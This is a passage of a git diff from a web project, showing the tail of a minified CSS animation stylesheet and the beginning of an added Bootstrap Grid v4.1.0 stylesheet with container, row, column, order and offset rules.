rotate3d(0,1,0,90deg);opacity:0}}.flipOutY{-webkit-backface-visibility:visible!important;backface-visibility:visible!important;-webkit-animation-name:flipOutY;animation-name:flipOutY;-webkit-animation-duration:.75s;animation-duration:.75s}@-webkit-keyframes lightSpeedIn{0%{-webkit-transform:translate3d(100%,0,0) skewX(-30deg);transform:translate3d(100%,0,0) skewX(-30deg);opacity:0}60%{-webkit-transform:skewX(20deg);transform:skewX(20deg);opacity:1}80%{-webkit-transform:skewX(-5deg);transform:skewX(-5deg);opacity:1}100%{-webkit-transform:none;transform:none;opacity:1}}@keyframes lightSpeedIn{0%{-webkit-transform:translate3d(100%,0,0) skewX(-30deg);transform:translate3d(100%,0,0) skewX(-30deg);opacity:0}60%{-webkit-transform:skewX(20deg);transform:skewX(20deg);opacity:1}80%{-webkit-transform:skewX(-5deg);transform:skewX(-5deg);opacity:1}100%{-webkit-transform:none;transform:none;opacity:1}}.lightSpeedIn{-webkit-animation-name:lightSpeedIn;animation-name:lightSpeedIn;-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}@-webkit-keyframes lightSpeedOut{0%{opacity:1}100%{-webkit-transform:translate3d(100%,0,0) skewX(30deg);transform:translate3d(100%,0,0) skewX(30deg);opacity:0}}@keyframes lightSpeedOut{0%{opacity:1}100%{-webkit-transform:translate3d(100%,0,0) skewX(30deg);transform:translate3d(100%,0,0) skewX(30deg);opacity:0}}.lightSpeedOut{-webkit-animation-name:lightSpeedOut;animation-name:lightSpeedOut;-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}@-webkit-keyframes rotateIn{0%{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:rotate3d(0,0,1,-200deg);transform:rotate3d(0,0,1,-200deg);opacity:0}100%{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:none;transform:none;opacity:1}}@keyframes rotateIn{0%{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:rotate3d(0,0,1,-200deg);transform:rotate3d(0,0,1,-200deg);opacity:0}100%{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:none;transform:none;opacity:1}}.rotateIn{-webkit-animation-name:rotateIn;animation-name:rotateIn}@-webkit-keyframes rotateInDownLeft{0%{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}100%{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:none;transform:none;opacity:1}}@keyframes rotateInDownLeft{0%{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}100%{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:none;transform:none;opacity:1}}.rotateInDownLeft{-webkit-animation-name:rotateInDownLeft;animation-name:rotateInDownLeft}@-webkit-keyframes rotateInDownRight{0%{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}100%{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:none;transform:none;opacity:1}}@keyframes rotateInDownRight{0%{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}100%{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:none;transform:none;opacity:1}}.rotateInDownRight{-webkit-animation-name:rotateInDownRight;animation-name:rotateInDownRight}@-webkit-keyframes rotateInUpLeft{0%{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}100%{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:none;transform:none;opacity:1}}@keyframes rotateInUpLeft{0%{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}100%{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:none;transform:none;opacity:1}}.rotateInUpLeft{-webkit-animation-name:rotateInUpLeft;animation-name:rotateInUpLeft}@-webkit-keyframes rotateInUpRight{0%{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,-90deg);transform:rotate3d(0,0,1,-90deg);opacity:0}100%{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:none;transform:none;opacity:1}}@keyframes rotateInUpRight{0%{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,-90deg);transform:rotate3d(0,0,1,-90deg);opacity:0}100%{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:none;transform:none;opacity:1}}.rotateInUpRight{-webkit-animation-name:rotateInUpRight;animation-name:rotateInUpRight}@-webkit-keyframes rotateOut{0%{-webkit-transform-origin:center;transform-origin:center;opacity:1}100%{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:rotate3d(0,0,1,200deg);transform:rotate3d(0,0,1,200deg);opacity:0}}@keyframes rotateOut{0%{-webkit-transform-origin:center;transform-origin:center;opacity:1}100%{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:rotate3d(0,0,1,200deg);transform:rotate3d(0,0,1,200deg);opacity:0}}.rotateOut{-webkit-animation-name:rotateOut;animation-name:rotateOut}@-webkit-keyframes rotateOutDownLeft{0%{-webkit-transform-origin:left bottom;transform-origin:left bottom;opacity:1}100%{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}}@keyframes rotateOutDownLeft{0%{-webkit-transform-origin:left bottom;transform-origin:left bottom;opacity:1}100%{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}}.rotateOutDownLeft{-webkit-animation-name:rotateOutDownLeft;animation-name:rotateOutDownLeft}@-webkit-keyframes rotateOutDownRight{0%{-webkit-transform-origin:right bottom;transform-origin:right bottom;opacity:1}100%{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}}@keyframes rotateOutDownRight{0%{-webkit-transform-origin:right bottom;transform-origin:right bottom;opacity:1}100%{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}}.rotateOutDownRight{-webkit-animation-name:rotateOutDownRight;animation-name:rotateOutDownRight}@-webkit-keyframes rotateOutUpLeft{0%{-webkit-transform-origin:left bottom;transform-origin:left bottom;opacity:1}100%{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}}@keyframes rotateOutUpLeft{0%{-webkit-transform-origin:left bottom;transform-origin:left bottom;opacity:1}100%{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}}.rotateOutUpLeft{-webkit-animation-name:rotateOutUpLeft;animation-name:rotateOutUpLeft}@-webkit-keyframes rotateOutUpRight{0%{-webkit-transform-origin:right bottom;transform-origin:right bottom;opacity:1}100%{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,90deg);transform:rotate3d(0,0,1,90deg);opacity:0}}@keyframes rotateOutUpRight{0%{-webkit-transform-origin:right bottom;transform-origin:right bottom;opacity:1}100%{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,90deg);transform:rotate3d(0,0,1,90deg);opacity:0}}.rotateOutUpRight{-webkit-animation-name:rotateOutUpRight;animation-name:rotateOutUpRight}@-webkit-keyframes hinge{0%{-webkit-transform-origin:top left;transform-origin:top left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}20%,60%{-webkit-transform:rotate3d(0,0,1,80deg);transform:rotate3d(0,0,1,80deg);-webkit-transform-origin:top left;transform-origin:top left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}40%,80%{-webkit-transform:rotate3d(0,0,1,60deg);transform:rotate3d(0,0,1,60deg);-webkit-transform-origin:top left;transform-origin:top left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out;opacity:1}100%{-webkit-transform:translate3d(0,700px,0);transform:translate3d(0,700px,0);opacity:0}}@keyframes hinge{0%{-webkit-transform-origin:top left;transform-origin:top left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}20%,60%{-webkit-transform:rotate3d(0,0,1,80deg);transform:rotate3d(0,0,1,80deg);-webkit-transform-origin:top left;transform-origin:top left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}40%,80%{-webkit-transform:rotate3d(0,0,1,60deg);transform:rotate3d(0,0,1,60deg);-webkit-transform-origin:top left;transform-origin:top left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out;opacity:1}100%{-webkit-transform:translate3d(0,700px,0);transform:translate3d(0,700px,0);opacity:0}}.hinge{-webkit-animation-name:hinge;animation-name:hinge}@-webkit-keyframes rollIn{0%{opacity:0;-webkit-transform:translate3d(-100%,0,0) rotate3d(0,0,1,-120deg);transform:translate3d(-100%,0,0) rotate3d(0,0,1,-120deg)}100%{opacity:1;-webkit-transform:none;transform:none}}@keyframes rollIn{0%{opacity:0;-webkit-transform:translate3d(-100%,0,0) rotate3d(0,0,1,-120deg);transform:translate3d(-100%,0,0) rotate3d(0,0,1,-120deg)}100%{opacity:1;-webkit-transform:none;transform:none}}.rollIn{-webkit-animation-name:rollIn;animation-name:rollIn}@-webkit-keyframes rollOut{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(100%,0,0) rotate3d(0,0,1,120deg);transform:translate3d(100%,0,0) rotate3d(0,0,1,120deg)}}@keyframes rollOut{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(100%,0,0) rotate3d(0,0,1,120deg);transform:translate3d(100%,0,0) rotate3d(0,0,1,120deg)}}.rollOut{-webkit-animation-name:rollOut;animation-name:rollOut}@-webkit-keyframes zoomIn{0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}50%{opacity:1}}@keyframes zoomIn{0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}50%{opacity:1}}.zoomIn{-webkit-animation-name:zoomIn;animation-name:zoomIn}@-webkit-keyframes zoomInDown{0%{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,-1000px,0);transform:scale3d(.1,.1,.1) translate3d(0,-1000px,0);-webkit-animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190);animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,60px,0);transform:scale3d(.475,.475,.475) translate3d(0,60px,0);-webkit-animation-timing-function:cubic-bezier(0.175,0.885,0.320,1);animation-timing-function:cubic-bezier(0.175,0.885,0.320,1)}}@keyframes zoomInDown{0%{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,-1000px,0);transform:scale3d(.1,.1,.1) translate3d(0,-1000px,0);-webkit-animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190);animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,60px,0);transform:scale3d(.475,.475,.475) translate3d(0,60px,0);-webkit-animation-timing-function:cubic-bezier(0.175,0.885,0.320,1);animation-timing-function:cubic-bezier(0.175,0.885,0.320,1)}}.zoomInDown{-webkit-animation-name:zoomInDown;animation-name:zoomInDown}@-webkit-keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(-1000px,0,0);transform:scale3d(.1,.1,.1) translate3d(-1000px,0,0);-webkit-animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190);animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(10px,0,0);transform:scale3d(.475,.475,.475) translate3d(10px,0,0);-webkit-animation-timing-function:cubic-bezier(0.175,0.885,0.320,1);animation-timing-function:cubic-bezier(0.175,0.885,0.320,1)}}@keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(-1000px,0,0);transform:scale3d(.1,.1,.1) translate3d(-1000px,0,0);-webkit-animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190);animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(10px,0,0);transform:scale3d(.475,.475,.475) translate3d(10px,0,0);-webkit-animation-timing-function:cubic-bezier(0.175,0.885,0.320,1);animation-timing-function:cubic-bezier(0.175,0.885,0.320,1)}}.zoomInLeft{-webkit-animation-name:zoomInLeft;animation-name:zoomInLeft}@-webkit-keyframes zoomInRight{0%{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(1000px,0,0);transform:scale3d(.1,.1,.1) translate3d(1000px,0,0);-webkit-animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190);animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(-10px,0,0);transform:scale3d(.475,.475,.475) translate3d(-10px,0,0);-webkit-animation-timing-function:cubic-bezier(0.175,0.885,0.320,1);animation-timing-function:cubic-bezier(0.175,0.885,0.320,1)}}@keyframes zoomInRight{0%{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(1000px,0,0);transform:scale3d(.1,.1,.1) translate3d(1000px,0,0);-webkit-animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190);animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(-10px,0,0);transform:scale3d(.475,.475,.475) translate3d(-10px,0,0);-webkit-animation-timing-function:cubic-bezier(0.175,0.885,0.320,1);animation-timing-function:cubic-bezier(0.175,0.885,0.320,1)}}.zoomInRight{-webkit-animation-name:zoomInRight;animation-name:zoomInRight}@-webkit-keyframes zoomInUp{0%{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,1000px,0);transform:scale3d(.1,.1,.1) translate3d(0,1000px,0);-webkit-animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190);animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);-webkit-animation-timing-function:cubic-bezier(0.175,0.885,0.320,1);animation-timing-function:cubic-bezier(0.175,0.885,0.320,1)}}@keyframes zoomInUp{0%{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,1000px,0);transform:scale3d(.1,.1,.1) translate3d(0,1000px,0);-webkit-animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190);animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);-webkit-animation-timing-function:cubic-bezier(0.175,0.885,0.320,1);animation-timing-function:cubic-bezier(0.175,0.885,0.320,1)}}.zoomInUp{-webkit-animation-name:zoomInUp;animation-name:zoomInUp}@-webkit-keyframes zoomOut{0%{opacity:1}50%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}100%{opacity:0}}@keyframes zoomOut{0%{opacity:1}50%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}100%{opacity:0}}.zoomOut{-webkit-animation-name:zoomOut;animation-name:zoomOut}@-webkit-keyframes zoomOutDown{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);-webkit-animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190);animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190)}100%{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,2000px,0);transform:scale3d(.1,.1,.1) translate3d(0,2000px,0);-webkit-transform-origin:center bottom;transform-origin:center bottom;-webkit-animation-timing-function:cubic-bezier(0.175,0.885,0.320,1);animation-timing-function:cubic-bezier(0.175,0.885,0.320,1)}}@keyframes zoomOutDown{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);-webkit-animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190);animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190)}100%{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,2000px,0);transform:scale3d(.1,.1,.1) translate3d(0,2000px,0);-webkit-transform-origin:center bottom;transform-origin:center bottom;-webkit-animation-timing-function:cubic-bezier(0.175,0.885,0.320,1);animation-timing-function:cubic-bezier(0.175,0.885,0.320,1)}}.zoomOutDown{-webkit-animation-name:zoomOutDown;animation-name:zoomOutDown}@-webkit-keyframes zoomOutLeft{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(42px,0,0);transform:scale3d(.475,.475,.475) translate3d(42px,0,0)}100%{opacity:0;-webkit-transform:scale(.1) translate3d(-2000px,0,0);transform:scale(.1) translate3d(-2000px,0,0);-webkit-transform-origin:left center;transform-origin:left center}}@keyframes zoomOutLeft{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(42px,0,0);transform:scale3d(.475,.475,.475) translate3d(42px,0,0)}100%{opacity:0;-webkit-transform:scale(.1) translate3d(-2000px,0,0);transform:scale(.1) translate3d(-2000px,0,0);-webkit-transform-origin:left center;transform-origin:left center}}.zoomOutLeft{-webkit-animation-name:zoomOutLeft;animation-name:zoomOutLeft}@-webkit-keyframes zoomOutRight{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(-42px,0,0);transform:scale3d(.475,.475,.475) translate3d(-42px,0,0)}100%{opacity:0;-webkit-transform:scale(.1) translate3d(2000px,0,0);transform:scale(.1) translate3d(2000px,0,0);-webkit-transform-origin:right center;transform-origin:right center}}@keyframes zoomOutRight{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(-42px,0,0);transform:scale3d(.475,.475,.475) translate3d(-42px,0,0)}100%{opacity:0;-webkit-transform:scale(.1) translate3d(2000px,0,0);transform:scale(.1) translate3d(2000px,0,0);-webkit-transform-origin:right center;transform-origin:right center}}.zoomOutRight{-webkit-animation-name:zoomOutRight;animation-name:zoomOutRight}@-webkit-keyframes zoomOutUp{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,60px,0);transform:scale3d(.475,.475,.475) translate3d(0,60px,0);-webkit-animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190);animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190)}100%{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,-2000px,0);transform:scale3d(.1,.1,.1) translate3d(0,-2000px,0);-webkit-transform-origin:center bottom;transform-origin:center bottom;-webkit-animation-timing-function:cubic-bezier(0.175,0.885,0.320,1);animation-timing-function:cubic-bezier(0.175,0.885,0.320,1)}}@keyframes zoomOutUp{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,60px,0);transform:scale3d(.475,.475,.475) translate3d(0,60px,0);-webkit-animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190);animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190)}100%{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,-2000px,0);transform:scale3d(.1,.1,.1) translate3d(0,-2000px,0);-webkit-transform-origin:center bottom;transform-origin:center bottom;-webkit-animation-timing-function:cubic-bezier(0.175,0.885,0.320,1);animation-timing-function:cubic-bezier(0.175,0.885,0.320,1)}}.zoomOutUp{-webkit-animation-name:zoomOutUp;animation-name:zoomOutUp}@-webkit-keyframes slideInDown{0%{-webkit-transform:translateY(-100%);transform:translateY(-100%);visibility:visible}100%{-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes slideInDown{0%{-webkit-transform:translateY(-100%);transform:translateY(-100%);visibility:visible}100%{-webkit-transform:translateY(0);transform:translateY(0)}}.slideInDown{-webkit-animation-name:slideInDown;animation-name:slideInDown}@-webkit-keyframes slideInLeft{0%{-webkit-transform:translateX(-100%);transform:translateX(-100%);visibility:visible}100%{-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes slideInLeft{0%{-webkit-transform:translateX(-100%);transform:translateX(-100%);visibility:visible}100%{-webkit-transform:translateX(0);transform:translateX(0)}}.slideInLeft{-webkit-animation-name:slideInLeft;animation-name:slideInLeft}@-webkit-keyframes slideInRight{0%{-webkit-transform:translateX(100%);transform:translateX(100%);visibility:visible}100%{-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes slideInRight{0%{-webkit-transform:translateX(100%);transform:translateX(100%);visibility:visible}100%{-webkit-transform:translateX(0);transform:translateX(0)}}.slideInRight{-webkit-animation-name:slideInRight;animation-name:slideInRight}@-webkit-keyframes slideInUp{0%{-webkit-transform:translateY(100%);transform:translateY(100%);visibility:visible}100%{-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes slideInUp{0%{-webkit-transform:translateY(100%);transform:translateY(100%);visibility:visible}100%{-webkit-transform:translateY(0);transform:translateY(0)}}.slideInUp{-webkit-animation-name:slideInUp;animation-name:slideInUp}@-webkit-keyframes slideOutDown{0%{-webkit-transform:translateY(0);transform:translateY(0)}100%{visibility:hidden;-webkit-transform:translateY(100%);transform:translateY(100%)}}@keyframes slideOutDown{0%{-webkit-transform:translateY(0);transform:translateY(0)}100%{visibility:hidden;-webkit-transform:translateY(100%);transform:translateY(100%)}}.slideOutDown{-webkit-animation-name:slideOutDown;animation-name:slideOutDown}@-webkit-keyframes slideOutLeft{0%{-webkit-transform:translateX(0);transform:translateX(0)}100%{visibility:hidden;-webkit-transform:translateX(-100%);transform:translateX(-100%)}}@keyframes slideOutLeft{0%{-webkit-transform:translateX(0);transform:translateX(0)}100%{visibility:hidden;-webkit-transform:translateX(-100%);transform:translateX(-100%)}}.slideOutLeft{-webkit-animation-name:slideOutLeft;animation-name:slideOutLeft}@-webkit-keyframes slideOutRight{0%{-webkit-transform:translateX(0);transform:translateX(0)}100%{visibility:hidden;-webkit-transform:translateX(100%);transform:translateX(100%)}}@keyframes slideOutRight{0%{-webkit-transform:translateX(0);transform:translateX(0)}100%{visibility:hidden;-webkit-transform:translateX(100%);transform:translateX(100%)}}.slideOutRight{-webkit-animation-name:slideOutRight;animation-name:slideOutRight}@-webkit-keyframes slideOutUp{0%{-webkit-transform:translateY(0);transform:translateY(0)}100%{visibility:hidden;-webkit-transform:translateY(-100%);transform:translateY(-100%)}}@keyframes slideOutUp{0%{-webkit-transform:translateY(0);transform:translateY(0)}100%{visibility:hidden;-webkit-transform:translateY(-100%);transform:translateY(-100%)}}.slideOutUp{-webkit-animation-name:slideOutUp;animation-name:slideOutUp}
\ No newline at end of file
diff --git a/public/css/bootstrap-grid.css b/public/css/bootstrap-grid.css
new file mode 100644
index 0000000..6798f23
--- /dev/null
+++ b/public/css/bootstrap-grid.css
@@ -0,0 +1,1912 @@
+/*!
+ * Bootstrap Grid v4.1.0 (https://getbootstrap.com/)
+ * Copyright 2011-2018 The Bootstrap Authors
+ * Copyright 2011-2018 Twitter, Inc.
+ * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+ */
+@-ms-viewport {
+  width: device-width;
+}
+
+html {
+  box-sizing: border-box;
+  -ms-overflow-style: scrollbar;
+}
+
+*,
+*::before,
+*::after {
+  box-sizing: inherit;
+}
+
+.container {
+  width: 100%;
+  padding-right: 15px;
+  padding-left: 15px;
+  margin-right: auto;
+  margin-left: auto;
+}
+
+@media (min-width: 576px) {
+  .container {
+    max-width: 540px;
+  }
+}
+
+@media (min-width: 768px) {
+  .container {
+    max-width: 720px;
+  }
+}
+
+@media (min-width: 992px) {
+  .container {
+    max-width: 960px;
+  }
+}
+
+@media (min-width: 1200px) {
+  .container {
+    max-width: 1140px;
+  }
+}
+
+.container-fluid {
+  width: 100%;
+  padding-right: 15px;
+  padding-left: 15px;
+  margin-right: auto;
+  margin-left: auto;
+}
+
+.row {
+  display: -ms-flexbox;
+  display: flex;
+  -ms-flex-wrap: wrap;
+  flex-wrap: wrap;
+  margin-right: -15px;
+  margin-left: -15px;
+}
+
+.no-gutters {
+  margin-right: 0;
+  margin-left: 0;
+}
+
+.no-gutters > .col,
+.no-gutters > [class*="col-"] {
+  padding-right: 0;
+  padding-left: 0;
+}
+
+.col-1, .col-2, .col-3, .col-4, .col-5, .col-6, .col-7, .col-8, .col-9, .col-10, .col-11, .col-12, .col,
+.col-auto, .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12, .col-sm,
+.col-sm-auto, .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12, .col-md,
+.col-md-auto, .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12, .col-lg,
+.col-lg-auto, .col-xl-1, .col-xl-2, .col-xl-3, .col-xl-4, .col-xl-5, .col-xl-6, .col-xl-7, .col-xl-8, .col-xl-9, .col-xl-10, .col-xl-11, .col-xl-12, .col-xl,
+.col-xl-auto {
+  position: relative;
+  width: 100%;
+  min-height: 1px;
+  padding-right: 15px;
+  padding-left: 15px;
+}
+
+.col {
+  -ms-flex-preferred-size: 0;
+  flex-basis: 0;
+  -ms-flex-positive: 1;
+  flex-grow: 1;
+  max-width: 100%;
+}
+
+.col-auto {
+  -ms-flex: 0 0 auto;
+  flex: 0 0 auto;
+  width: auto;
+  max-width: none;
+}
+
+.col-1 {
+  -ms-flex: 0 0 8.333333%;
+  flex: 0 0 8.333333%;
+  max-width: 8.333333%;
+}
+
+.col-2 {
+  -ms-flex: 0 0 16.666667%;
+  flex: 0 0 16.666667%;
+  max-width: 16.666667%;
+}
+
+.col-3 {
+  -ms-flex: 0 0 25%;
+  flex: 0 0 25%;
+  max-width: 25%;
+}
+
+.col-4 {
+  -ms-flex: 0 0 33.333333%;
+  flex: 0 0 33.333333%;
+  max-width: 33.333333%;
+}
+
+.col-5 {
+  -ms-flex: 0 0 41.666667%;
+  flex: 0 0 41.666667%;
+  max-width: 41.666667%;
+}
+
+.col-6 {
+  -ms-flex: 0 0 50%;
+  flex: 0 0 50%;
+  max-width: 50%;
+}
+
+.col-7 {
+  -ms-flex: 0 0 58.333333%;
+  flex: 0 0 58.333333%;
+  max-width: 58.333333%;
+}
+
+.col-8 {
+  -ms-flex: 0 0 66.666667%;
+  flex: 0 0 66.666667%;
+  max-width: 66.666667%;
+}
+
+.col-9 {
+  -ms-flex: 0 0 75%;
+  flex: 0 0 75%;
+  max-width: 75%;
+}
+
+.col-10 {
+  -ms-flex: 0 0 83.333333%;
+  flex: 0 0 83.333333%;
+  max-width: 83.333333%;
+}
+
+.col-11 {
+  -ms-flex: 0 0 91.666667%;
+  flex: 0 0 91.666667%;
+  max-width: 91.666667%;
+}
+
+.col-12 {
+  -ms-flex: 0 0 100%;
+  flex: 0 0 100%;
+  max-width: 100%;
+}
+
+.order-first {
+  -ms-flex-order: -1;
+  order: -1;
+}
+
+.order-last {
+  -ms-flex-order: 13;
+  order: 13;
+}
+
+.order-0 {
+  -ms-flex-order: 0;
+  order: 0;
+}
+
+.order-1 {
+  -ms-flex-order: 1;
+  order: 1;
+}
+
+.order-2 {
+  -ms-flex-order: 2;
+  order: 2;
+}
+
+.order-3 {
+  -ms-flex-order: 3;
+  order: 3;
+}
+
+.order-4 {
+  -ms-flex-order: 4;
+  order: 4;
+}
+
+.order-5 {
+  -ms-flex-order: 5;
+  order: 5;
+}
+
+.order-6 {
+  -ms-flex-order: 6;
+  order: 6;
+}
+
+.order-7 {
+  -ms-flex-order: 7;
+  order: 7;
+}
+
+.order-8 {
+  -ms-flex-order: 8;
+  order: 8;
+}
+
+.order-9 {
+  -ms-flex-order: 9;
+  order: 9;
+}
+
+.order-10 {
+  -ms-flex-order: 10;
+  order: 10;
+}
+
+.order-11 {
+  -ms-flex-order: 11;
+  order: 11;
+}
+
+.order-12 {
+  -ms-flex-order: 12;
+  order: 12;
+}
+
+.offset-1 {
+  margin-left: 8.333333%;
+}
+
+.offset-2 {
+  margin-left: 16.666667%;
+}
+
+.offset-3 {
+  margin-left: 25%;
+}
+
+.offset-4 {
+  margin-left: 33.333333%;
+}
+
+.offset-5 {
+  margin-left: 41.666667%;
+}
+
+.offset-6 {
+  margin-left: 50%;
+}
+
+.offset-7 {
+  margin-left: 58.333333%;
+}
+
+.offset-8 {
+  margin-left: 66.666667%;
+}
+
+.offset-9 {
+  margin-left: 75%;
+}
+
+.offset-10 {
+  margin-left: 83.333333%;
+}
+
+.offset-11 {
+  margin-left: 91.666667%;
+}
+
+@media (min-width: 576px) {
+  .col-sm {
